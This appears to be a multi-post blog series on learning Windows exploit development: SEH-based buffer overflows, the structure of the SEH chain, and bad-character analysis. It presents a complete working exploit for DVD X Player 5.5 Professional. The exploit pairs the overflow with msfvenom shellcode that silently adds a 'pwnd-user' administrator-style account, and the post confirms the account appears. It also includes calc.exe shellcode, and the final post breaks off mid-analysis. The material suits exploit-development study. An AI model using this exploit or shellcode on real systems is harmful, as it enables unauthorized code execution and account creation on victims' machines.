Thursday, January 25, 2018

Beginning Windows Exploit Development - Exploiting Structured Exception Handling (SEH)

This series of posts is based on me looking at expanding my knowledge on Windows Exploit Development. This post is based on understanding exploiting the SEH based mechanism in order to have a successful buffer overflow.

Before we get started, I must state clearly that this information is based on the guidance provided from fuzzysecurity.com website as shown in the references section.

For some folks reading my material may be easier, for others reading the material from Fuzy Security will be easier. Whichever you choose, please note that this is all based on the guidance provided by those folks and thus nothing here is my original work.

Similar to the FuzzySecurity blog post, we will be using DVDX player 5.5 Professional

First up, generate the player list file (".plf") file that allows us to overrun the buffer. The code below helps us to achieve this.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def Exploit_Code():
 malicious_file = 'SecurityNik.plf';
 myBuffer = 'A' * 2000
 fp = open(malicious_file,'w')
 fp.write(myBuffer)
 fp.close()

 print(' File {!s} created ... ' .format(malicious_file))


if __name__ == '__main__':
 Exploit_Code()

Once the file is created, and fed to DVDX Player, with the attached debugger we get

1
2
3
4
5
6
7
(488.164): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=042c0a60 edx=00000042 esi=042c0180 edi=6405362c
eip=41414141 esp=0012f104 ebp=00effd80 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
41414141 ??              ???

From above we see our EIP has been overwritten by "41414141" which is basically our As.

If we take a look at our "!exchain", we see our Next SEH and SE Handler have been overwritten with "41414141"

1
2
3
0:000> !exchain
0012f24c: 41414141
Invalid exception stack at 41414141

Further confirming the above, if we take a look at the Thread Information Block (TEB), we see:

1
2
3
4
5
6
7
8
9
0:000> d fs:[0]
003b:00000000  4c f2 12 00 00 00 13 00-00 80 12 00 00 00 00 00 L...............
003b:00000010  00 1e 00 00 00 00 00 00-00 e0 fd 7f 00 00 00 00 ................
003b:00000020  88 04 00 00 64 01 00 00-00 00 00 00 00 00 00 00 ....d...........
003b:00000030  00 f0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040  60 9c db e1 00 00 00 00-00 00 00 00 00 00 00 00 `...............
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

When we dump the contents of address "0x0012f24c" we get:

1
2
3
4
5
6
7
8
9
0:000> d 0012f24c
0012f24c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012f25c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012f26c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012f27c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012f28c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012f29c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012f2ac  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012f2bc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

At this point we see both the nSEH and the SE Handler has been overwritten.

Leveraging our trusted "pattern_create.rb" to generate a pattern of 2000 bytes, and providing it to the code we get.

root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb --length 2000

and the modified code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def Exploit_Code():
 malicious_file = 'SecurityNik.plf';
 myBuffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co'
 fp = open(malicious_file,'w')
 fp.write(myBuffer)
 fp.close()

 print(' File {!s} created ... ' .format(malicious_file))


if __name__ == '__main__':
 Exploit_Code()

When the new file is fed to DVDX we get:

1
2
3
4
5
6
7
(46c.2a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=03e80a60 edx=00000042 esi=03e80180 edi=6405362c
eip=37694136 esp=0012f104 ebp=00effd80 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
37694136 ??              ???

Looking at the "!exchain" output we get:

1
2
3
0:000> !exchain
0012f24c: 41347541
Invalid exception stack at 33754132


Looking at the ASCII value of "33754132" we get. Do remember the byte order of this value needs to be reorder. So the new value should be "0x32417533".

When this value is fed to WinDbg's ".formats" we see the following output

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
0:000> .formats 0x32417533
Evaluate expression:
  Hex:     32417533
  Decimal: 843150643
  Octal:   06220272463
  Binary:  00110010 01000001 01110101 00110011
  Chars:   2Au3
  Time:    Thu Sep 19 12:30:43 1996
  Float:   low 1.12607e-008 high 0
  Double:  4.16572e-315

When "2Au3" is fed to Metasploit's "pattern_offset.rb" we get:
root@kali:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb --length 2000 --query 2Au3
[*] Exact match at offset 608

At this point we can conclude our "Next SEH Record" is at offset 608. This means our SE Handler is at offset 612, since it is 4 bytes past the Next SEH.

Leveraging "findjmp2.exe" to identify a pop pop return sequence, we get:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
C:\Program Files\Aviosoft\DVD X Player 5.5 Professional>e:\findjump2.exe EPG.dll  eax | findstr /i pop
0x61625534      pop eax - pop - retbis
0x61629759      pop eax - pop - ret
0x6162E7A6      pop eax - pop - ret
0x6162F5F2      pop eax - pop - ret
0x61632B3B      pop eax - pop - retbis
0x61632DDA      pop eax - pop - ret
0x616339BB      pop eax - pop - retbis
0x616339DD      pop eax - pop - retbis
0x61633F3B      pop eax - pop - retbis
0x616347E5      pop eax - pop - ret
0x616348C9      pop eax - pop - retbis
0x61636E07      pop eax - pop - retbis
0x616384EE      pop eax - pop - retbis
0x61638890      pop eax - pop - ret
0x6163A654      pop eax - pop - ret
0x6163AB3E      pop eax - pop - ret
0x6163B482      pop eax - pop - ret
0x6163B9EE      pop eax - pop - retbis
0x6163E206      pop eax - pop - ret
0x6163E54F      pop eax - pop - retbis
0x61641D08      pop eax - pop - ret
0x61642270      pop eax - pop - retbis
0x61642A8E      pop eax - pop - ret
0x61643B6B      pop eax - pop - ret
0x61643BAD      pop eax - pop - retbis
0x61643CCC      pop eax - pop - retbis
0x61643D73      pop eax - pop - retbis
0x6164526D      pop eax - pop - retbis

Selecting the entry at "0x61629759" and finalizing the code we get:

Now that we have everything set, we will generate payload that will allow us add a user to the system. This user will be named "pwnd-user".

Let's first do a "net user" to verify this user does not exist.

1
2
3
4
5
6
7
8
C:\>net user

User accounts for \\SECURITYNIK-XP

-------------------------------------------------------------------------------
Administrator            Guest                    HelpAssistant
SecurityNik              SUPPORT_388945a0
The command completed successfully.

Time for the final code


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
"""
 This code is part of me learning exploit development in a Windows Environment
 Author: Nik Alleyne
 Author Blog: http://securitynik.blogspot.com
 Date: 2018-01-10
 Exploit is for DVDX Player 5.5 Professional

"""


def Exploit_Code():
 malicious_file = 'SecurityNik.plf';

 #root@kali:~# msfvenom --platform Windows --arch x86 --payload windows/exec CMD="net user pwnd-user Password1 /add" --smallest --encoder x86/shikata_ga_nai --bad-chars '\x00\x0A\x0D\x1A' --format c --iterations 1 > msfvenom_add_user.txt

 shellcode = (
  "\xba\x2d\x45\x8d\x97\xd9\xcf\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
  "\x37\x31\x57\x14\x03\x57\x14\x83\xc7\x04\xcf\xb0\x71\x7f\x8d"
  "\x3b\x8a\x80\xf1\xb2\x6f\xb1\x31\xa0\xe4\xe2\x81\xa2\xa9\x0e"
  "\x6a\xe6\x59\x84\x1e\x2f\x6d\x2d\x94\x09\x40\xae\x84\x6a\xc3"
  "\x2c\xd6\xbe\x23\x0c\x19\xb3\x22\x49\x47\x3e\x76\x02\x0c\xed"
  "\x67\x27\x58\x2e\x03\x7b\x4d\x36\xf0\xcc\x6c\x17\xa7\x47\x37"
  "\xb7\x49\x8b\x4c\xfe\x51\xc8\x68\x48\xe9\x3a\x07\x4b\x3b\x73"
  "\xe8\xe0\x02\xbb\x1b\xf8\x43\x7c\xc3\x8f\xbd\x7e\x7e\x88\x79"
  "\xfc\xa4\x1d\x9a\xa6\x2f\x85\x46\x56\xfc\x50\x0c\x54\x49\x16"
  "\x4a\x79\x4c\xfb\xe0\x85\xc5\xfa\x26\x0c\x9d\xd8\xe2\x54\x46"
  "\x40\xb2\x30\x29\x7d\xa4\x9a\x96\xdb\xae\x37\xc3\x51\xed\x5d"
  "\x12\xe7\x8b\x10\x14\xf7\x93\x04\x7c\xc6\x18\xcb\xfb\xd7\xca"
  "\xaf\xf3\x9d\x57\x99\x9b\x7b\x02\x9b\xc6\x7b\xf8\xd8\xfe\xff"
  "\x09\xa1\x05\x1f\x78\xa4\x42\xa7\x90\xd4\xdb\x42\x97\x4b\xdc"
  "\x46\xf9\x0e\x56\x49\x73\xa2\xf3\xfb\x5b\x34\x8c\x95\xff\x99"
  "\x07\x19\x65\x90\xc7\x8d\x04\x27\x74\x59\xa8\xb5\x1e\x94\x16"
  "\x15\xbf\xb2\x32\x69")

 # Using pop pop return at address 0x61629759 in EPG.DLL
 myBuffer = 'A' * 608 + '\xeb\x06\x90\x90' + '\x59\x97\x62\x61' + '\x90' * 20 + shellcode
 fp = open(malicious_file,'w')
 fp.write(myBuffer)
 fp.close()

 print(' File {!s} created ... ' .format(malicious_file))


if __name__ == '__main__':
 Exploit_Code()

Once the created file is fed to DVDX Player, the application showed a few errors. However, in the background our user "pwnd-user" was created.


1
2
3
4
5
6
7
8
C:\>net user

User accounts for \\SECURITYNIK-XP

-------------------------------------------------------------------------------
Administrator            Guest                    HelpAssistant
pwnd-user                SecurityNik              SUPPORT_388945a0
The command completed successfully.


At this point, the post can be completed. However, let's take a quick last past to get a better understanding of what transpired.

First up attach to the DVDX Player, then feed the file to the application. Once it crashes, we get:

1
2
3
4
5
6
7
(288.7a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=03f50a60 edx=00000042 esi=03f50180 edi=6405362c
eip=41414141 esp=0012f104 ebp=00effd80 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
41414141 ??              ???


Next up, let's look at the TIB "fs:[0]" to see where the SE Chain starts:

1
2
3
4
5
6
7
8
9
0:000> d fs:[0]
003b:00000000  4c f2 12 00 00 00 13 00-00 80 12 00 00 00 00 00 L...............
003b:00000010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................
003b:00000020  88 02 00 00 a0 07 00 00-00 00 00 00 00 00 00 00 ................
003b:00000030  00 b0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040  b8 44 da e1 00 00 00 00-00 00 00 00 00 00 00 00 .D..............
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

From the above, we see the chain starts at "0x0012f24c"

Dumping the memory at this location, we get:

1
2
3
4
5
6
7
8
9
0:000> d 0012f24c
0012f24c  eb 06 90 90 59 97 62 61-90 90 90 90 90 90 90 90  ....Y.ba........
0012f25c  90 90 90 90 90 90 90 90-90 90 90 90 ba 2d 45 8d  .............-E.
0012f26c  97 d9 cf d9 74 24 f4 5f-2b c9 b1 37 31 57 14 03  ....t$._+..71W..
0012f27c  57 14 83 c7 04 cf b0 71-7f 8d 3b 8a 80 f1 b2 6f  W......q..;....o
0012f28c  b1 31 a0 e4 e2 81 a2 a9-0e 6a e6 59 84 1e 2f 6d  .1.......j.Y../m
0012f29c  2d 94 09 40 ae 84 6a c3-2c d6 be 23 0c 19 b3 22  -..@..j.,..#..."
0012f2ac  49 47 3e 76 02 0c ed 67-27 58 2e 03 7b 4d 36 f0  IG>v...g'X..{M6.
0012f2bc  cc 6c 17 a7 47 37 b7 49-8b 4c fe 51 c8 68 48 e9  .l..G7.I.L.Q.hH.

From above we see our Next SEH overwritten with "0x909006eb". This is followed by our SEH handler being overwritten with "0x61629759". Next up we see our NOPs (0x90) followed by our shellcode.

We can also verify that Next SEH and SE Handler have been overwritten by leveraging the "!exchain" extension as show below:

1
2
3
4
5
0:000> !exchain
0012f24c: *** WARNING: Unable to verify checksum for C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll - 
EPG!Ordinal1+23919 (61629759)
Invalid exception stack at 909006eb

That's it for this post.


References:
https://www.fuzzysecurity.com/tutorials/expDev/3.html

Beginning Windows Exploit Development - Understanding SEH with Visual Studion 2017

This series of posts are based on me looking at expanding my knowledge on Windows Exploit Development. This is based on understanding SEH and exploiting same.

Before we get started, I must state clearly that this information is based on the guidance provided from corelan.be website as shown in the references section.

For some folks reading my material may be easier, for others reading the material from Corelan will be easier. Whichever you choose, please note that this is all based on the guidance provided by those folks and thus nothing here is my original work.

Now that the attribution stuff is out of the way, let's get going.


To help to drive home the understanding of SEH, the code below will help me out.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*
  This code is part of my learnings of SEH handling
  Author: Nik Alleyne
  Blog: securitynik.blogspot.com
  Date: 2018-01-12
*/

#include <stdio.h>
#include <string.h>

#pragma warning(disable : 4996)

int ExceptionHandler(void);

void main(int argc, char *argv[])
 {
 // Declare a buffer of size 512 bytes
 char myBuffer[512];
  printf("Hey %s I'm running ... \n", argv[1]);
  

 // Setup the exception Handler
  __try
   {
    strcpy(myBuffer, argv[1]);
   }
  __except ( ExceptionHandler() )
   {
   }
  return 0;
 }

int ExceptionHandler(void)
 {
  printf("Just a head's up this exception is being handled ... \n");
  return 0;
 }


When compiled with Visual Studio 2017 and executed with a command line argument we get:

E:\Coding\SEH-Demo\Debug>SEH-Demo.exe SecurityNik
Hey SecurityNik I'm running ...

However, when ran without any command line arguments we get ...






















Next step is to "Launch executable" in "WindDbg Preview", by opening the "SEH-Demo.exe". Once we launch the executable we see in WinDbg Preview:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Executable search path is: 
ModLoad: 00d20000 00e2e000   SEH-Demo.exe
ModLoad: 77df0000 77f7d000   ntdll.dll
ModLoad: 74b80000 74c50000   C:\Windows\SysWOW64\KERNEL32.DLL
ModLoad: 755f0000 757c7000   C:\Windows\SysWOW64\KERNELBASE.dll
(cb4.1130): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000010 ecx=f6200000 edx=00000000 esi=007c3000 edi=77df6964
eip=77e9dadf esp=0096f91c ebp=0096f948 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
77e9dadf cc              int     3

Looking at the Windows Thread Information Block (TIB) at FS:[0] which contains the current Structured Exception Handler (SEH) frame to gain further insight into the SEH structure

1
2
3
4
5
6
7
8
9
0:000> d fs:[0]
0053:00000000  38 f9 96 00 00 00 97 00-00 e0 96 00 00 00 00 00 8...............
0053:00000010  00 1e 00 00 00 00 00 00-00 60 7c 00 00 00 00 00 .........`|.....
0053:00000020  b4 0c 00 00 30 11 00 00-00 00 00 00 2c 60 7c 00 ....0.......,`|.
0053:00000030  00 30 7c 00 32 00 00 00-00 00 00 00 00 00 00 00 .0|.2...........
0053:00000040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0053:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0053:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0053:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

Our tree looks like:
    [TEB] -> [0096f938]

From above we see the "38 f9 96 00" which points to the beginning of the TEB. Do remember that from an Intel architecture perspective, multi byte values are represented in little endian. Thus we need to reorder these bytes to get to the beginning of the SEH chain.

Still in WinDbg, when we dump the address at "0096f938" we get:

1
2
3
4
5
6
7
8
9
0:000> d 0096f938
0096f938  98 fb 96 00 20 6a e6 77-d6 50 f0 44 00 00 00 00  .... j.w.P.D....
0096f948  a8 fb 96 00 f6 8b e9 77-86 54 88 33 00 00 00 00  .......w.T.3....
0096f958  00 00 00 00 ff ff ff ff-4a 00 4c 00 c4 1e fe 02  ........J.L.....
0096f968  c8 fa 96 00 00 00 00 00-01 02 00 00 00 00 00 00  ................
0096f978  c4 fa 96 00 00 00 00 00-a0 30 fe 02 00 00 00 00  .........0......
0096f988  00 00 00 00 00 00 00 00-08 34 fe 02 01 00 00 00  .........4......
0096f998  00 00 00 00 00 50 e2 00-00 10 00 00 01 00 00 00  .....P..........
0096f9a8  00 00 00 00 d0 51 e2 00-02 00 00 00 00 00 00 00  .....Q..........

From above we now have "Next SEH Record" with a value of "0096fb98" and a pointer to the current handler of "0x776e6a20". Basically the first 8 bytes represent our SEH information. The first 4 bytes is the pointer to the next SEH record while the second 4 bytes is the pointer to our current handler.

Our structure now looks like:

1
2
3
 [TEB] -> [0096f938]
     |-> [ Next SEH Record ] -> [0x0096fb98] |->
      [   SE Handler    ] -> [0x776e6a20]   

Dumping the values at  "0x0096fb98", we get:

1
2
3
4
5
6
7
8
9
0:000> d 0x0096fb98
0096fb98  f0 fb 96 00 20 6a e6 77-b6 44 f0 44 fe ff ff ff  .... j.w.D.D....
0096fba8  00 fc 96 00 d7 37 e5 77-2e 53 88 33 34 fc 96 00  .....7.w.S.34...
0096fbb8  00 00 df 77 00 30 7c 00-00 b0 f0 77 00 10 00 00  ...w.0|....w....
0096fbc8  00 00 80 00 01 00 00 00-00 00 df 77 00 00 00 00  ...........w....
0096fbd8  34 fc 96 00 00 30 7c 00-28 30 7c 00 00 00 00 00  4....0|.(0|.....
0096fbe8  b0 fb 96 00 00 00 00 00-ff ff ff ff 20 6a e6 77  ............ j.w
0096fbf8  5e 55 f0 44 00 00 00 00-10 fc 96 00 de 36 e5 77  ^U.D.........6.w
0096fc08  00 00 00 00 00 00 00 00-20 fc 96 00 8c 36 e5 77  ........ ....6.w

From above we now have "Next SEH Record" with a value of "0x0096fbf0" and a pointer to the current handler of "0x776e6a20". From the above, it looks like this pointer is point to the same location as the previous one.

Therefore we have:

1
2
3
 [TEB] -> [0096f938]
     |-> [ Next SEH Record ] -> [0x0096fb98] |---------> [ Next SEH Record ] -> [0x0096fbf0] 
      [   SE Handler    ] -> [0x776e6a20]    [   SE Handler    ] -> [0x776e6a20]      

After dumping the address "0x0096fbf0" we get:

1
2
3
4
5
6
7
8
9
0:000> d 0x0096fbf0
0096fbf0  ff ff ff ff 20 6a e6 77-5e 55 f0 44 00 00 00 00  .... j.w^U.D....
0096fc00  10 fc 96 00 de 36 e5 77-00 00 00 00 00 00 00 00  .....6.w........
0096fc10  20 fc 96 00 8c 36 e5 77-00 00 00 00 6e 1a d6 bb   ....6.w....n...
0096fc20  00 00 00 00 00 00 00 00-34 fc 96 00 00 00 df 77  ........4......w
0096fc30  00 00 00 00 3f 00 01 00-00 00 00 00 00 00 00 00  ....?...........
0096fc40  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0096fc50  7f 02 00 00 00 00 00 00-ff ff 00 00 00 00 00 00  ................
0096fc60  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ...............

This now brings us to the end of the chain as we see "0xffffffff".

Now our chain looks like:

1
2
3
 [TEB] -> [0096f938]
     |-> [ Next SEH Record ] -> [0x0096fb98] |---------> [ Next SEH Record ] -> [0x0096fbf0] |---------> [END OF CHAIN] -> [0xffffffff]
      [   SE Handler    ] -> [0x776e6a20]    [   SE Handler    ] -> [0x776e6a20]       [ SE Handler ] -> [0x776e6a20]

Now that I have a better understanding of what SEH is and its structure, time to move on to the next post where I learn to exploit these.

References:
https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
http://www.openrce.org/articles/full_view/21
https://www.tortall.net/projects/yasm/manual/html/objfmt-win64-exception.html
https://www.microsoft.com/msj/0197/Exception/Exception.aspx

Beginning Windows Exploit Development - Understanding Bad Character Analysis

One of the things that pisses me off as I'm trying to expand my knowledge on exploit development was after I have everything "working" and then my shellcode would not execute. I mean I have my shellcode, I have my jump to address, etc., but my shellcode does not execute.

One of the things I learned here is that "bad characters" can have a significant impact on the success of your shellcode.

As a result for this post, I'm expanding my knowledge about bad character analysis.

At this point I'm looking to execute "calc.exe". So first up, run msfvenom without any bad characters command line option.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@kali:~# msfvenom --platform Windows --arch x86 --payload windows/exec CMD="calc.exe" --smallest --encoder x86/shikata_ga_nai --format c --iterations 1 

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of c file: 949 bytes
unsigned char buf[] = 
"\xd9\xc1\xd9\x74\x24\xf4\xbf\x89\xfa\x6f\xea\x5b\x33\xc9\xb1"
"\x31\x31\x7b\x18\x03\x7b\x18\x83\xc3\x8d\x18\x9a\x16\x65\x5e"
"\x65\xe7\x75\x3f\xef\x02\x44\x7f\x8b\x47\xf6\x4f\xdf\x0a\xfa"
"\x24\x8d\xbe\x89\x49\x1a\xb0\x3a\xe7\x7c\xff\xbb\x54\xbc\x9e"
"\x3f\xa7\x91\x40\x7e\x68\xe4\x81\x47\x95\x05\xd3\x10\xd1\xb8"
"\xc4\x15\xaf\x00\x6e\x65\x21\x01\x93\x3d\x40\x20\x02\x36\x1b"
"\xe2\xa4\x9b\x17\xab\xbe\xf8\x12\x65\x34\xca\xe9\x74\x9c\x03"
"\x11\xda\xe1\xac\xe0\x22\x25\x0a\x1b\x51\x5f\x69\xa6\x62\xa4"
"\x10\x7c\xe6\x3f\xb2\xf7\x50\xe4\x43\xdb\x07\x6f\x4f\x90\x4c"
"\x37\x53\x27\x80\x43\x6f\xac\x27\x84\xe6\xf6\x03\x00\xa3\xad"
"\x2a\x11\x09\x03\x52\x41\xf2\xfc\xf6\x09\x1e\xe8\x8a\x53\x74"
"\xef\x19\xee\x3a\xef\x21\xf1\x6a\x98\x10\x7a\xe5\xdf\xac\xa9"
"\x42\x2f\xe7\xf0\xe2\xb8\xae\x60\xb7\xa4\x50\x5f\xfb\xd0\xd2"
"\x6a\x83\x26\xca\x1e\x86\x63\x4c\xf2\xfa\xfc\x39\xf4\xa9\xfd"
"\x6b\x97\x2c\x6e\xf7\x76\xcb\x16\x92\x86"

Looking at this in memory we see:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
0:000> d 0012fd64 l dc
0012fd64  cc cc cc cc 10 01 b1 f1-90 90 90 90 90 d9 c1 d9  ................
0012fd74  74 24 f4 bf 89 fa 6f ea-5b 33 c9 b1 31 31 7b 18  t$....o.[3..11{.
0012fd84  03 7b 18 83 c3 8d 18 9a-16 65 5e 65 e7 75 3f ef  .{.......e^e.u?.
0012fd94  02 44 7f 8b 47 f6 4f df-3c 07 00 00 ec fd 12 00  .D..G.O.<.......
0012fda4  52 89 49 00 74 c4 4a 00-88 fd 12 00 08 00 00 00  R.I.t.J.........
0012fdb4  00 00 aa 00 ec fd 12 00-02 00 00 00 00 00 00 00  ................
0012fdc4  00 00 00 00 00 00 00 00-5d ae 49 00 4c fe 12 00  ........].I.L...
0012fdd4  24 0a aa 00 00 00 00 00-00 00 00 00 00 00 00 00  $...............
0012fde4  4c fe 12 00 ba ca 48 00-c1 ca 48 00 dc 93 4a 00  L.....H...H...J.
0012fdf4  02 00 00 00 d0 fe 12 00-00 00 00 00 20 fe 12 00  ............ ...
0012fe04  82 cd 48 00 00 00 00 00-00 00 00 00 00 00 00 00  ..H.............
